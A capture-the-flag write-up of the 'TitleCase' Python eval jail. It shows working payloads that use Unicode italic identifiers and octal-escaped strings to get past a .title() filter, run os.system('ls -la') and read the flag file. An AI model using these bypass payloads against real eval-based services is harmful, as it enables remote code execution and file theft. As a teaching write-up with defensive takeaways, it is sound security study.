TitleCase

Challenge Description

A modern rerun of a SHA2017 challenge...

The service reads your input, applies Python’s .title() string method to it, and then passes the result into eval().

Example from the challenge:

# TitleCase.py
#!/usr/bin/env python3
eval(input().title())

We connect to the service with:

nc titlecase.ctf.zone 1337

Vulnerability Overview

  • eval() will execute arbitrary Python expressions in the current process.
  • .title() converts identifiers like printPrint, getattrGetattr, breaking most normal payloads.
  • This is a naïve filter to prevent the classic eval RCE — but it only impacts ASCII letters.
  • Unicode identifiers (PEP 3131) and escape sequences inside strings behave differently.

Key Observations

  1. Identifiers get mangled:
    print(true) → Print(True) → NameError
    
  1. Strings survive mostly intact:
    • Inside quotes, only letter casing changes; backslash-octal escapes like \141 are unaffected.
  1. Mathematical italic Unicode letters survive .title() unchanged and are still valid Python identifiers:
    • 𝘱𝘳𝘪𝘯𝘵 (U+1D621..U+1D629) works like print.
    • Same works for __import__, system, open, etc.
  1. Octal escapes allow us to write "os", "ls", "flag", etc., in a way .title() can’t break.

Bypass Strategy

We combined two bypasses:

  • Unicode Italic Identifiers for function/method names.
  • Octal String Escapes for literal strings to avoid .title() changing 'os' to 'Os'.

Step-by-Step Exploit

1. Test italic identifier bypass

𝘱𝘳𝘪𝘯𝘵('1')

Works! → Confirms Python treats italic letters as print.

2. Execute shell commands via os.system

Regular approach:

__import__('os').system('ls')

fails because 'os''Os'.

3. Fix strings with octal escapes

  • "os" = \157\163
  • "ls -la" = \154\163\040\055\154\141

Payload:

__𝘪𝘮𝘱𝘰𝘳𝘵__('\157\163').𝘴𝘺𝘴𝘵𝘦𝘮('\154\163\040\055\154\141')

Lists files, revealing flag.

4. Read the flag

__𝘪𝘮𝘱𝘰𝘳𝘵__('\163\171\163').𝘴𝘵𝘥𝘰𝘶𝘵.𝘸𝘳𝘪𝘵𝘦(𝘰𝘱𝘦𝘯('\146\154\141\147').𝘳𝘦𝘢𝘥())

Output:

flag{651e7208b29581e7962d4b9bbf80e4ed}

Why This Works

  • .title() only changes cased letters in ASCII/Latin alphabets, not all Unicode letters.
  • Python identifiers can legally contain many Unicode characters (PEP 3131), including mathematical italic letters that .title() ignores.
  • Inside string literals, .title() does not interpret escapes, so \ooo octal codes are preserved exactly.
  • Combining italic identifiers + octal-escaped strings gives full control over eval() execution.

Takeaways

  • Never trust .title() or similar string transforms as a “security filter” before eval.
  • Python’s Unicode identifier rules (PEP 3131) massively expand the surface area for bypasses.
  • Even if keywords and builtins are mangled, an attacker can rebuild them via Unicode homoglyphs and escape sequences.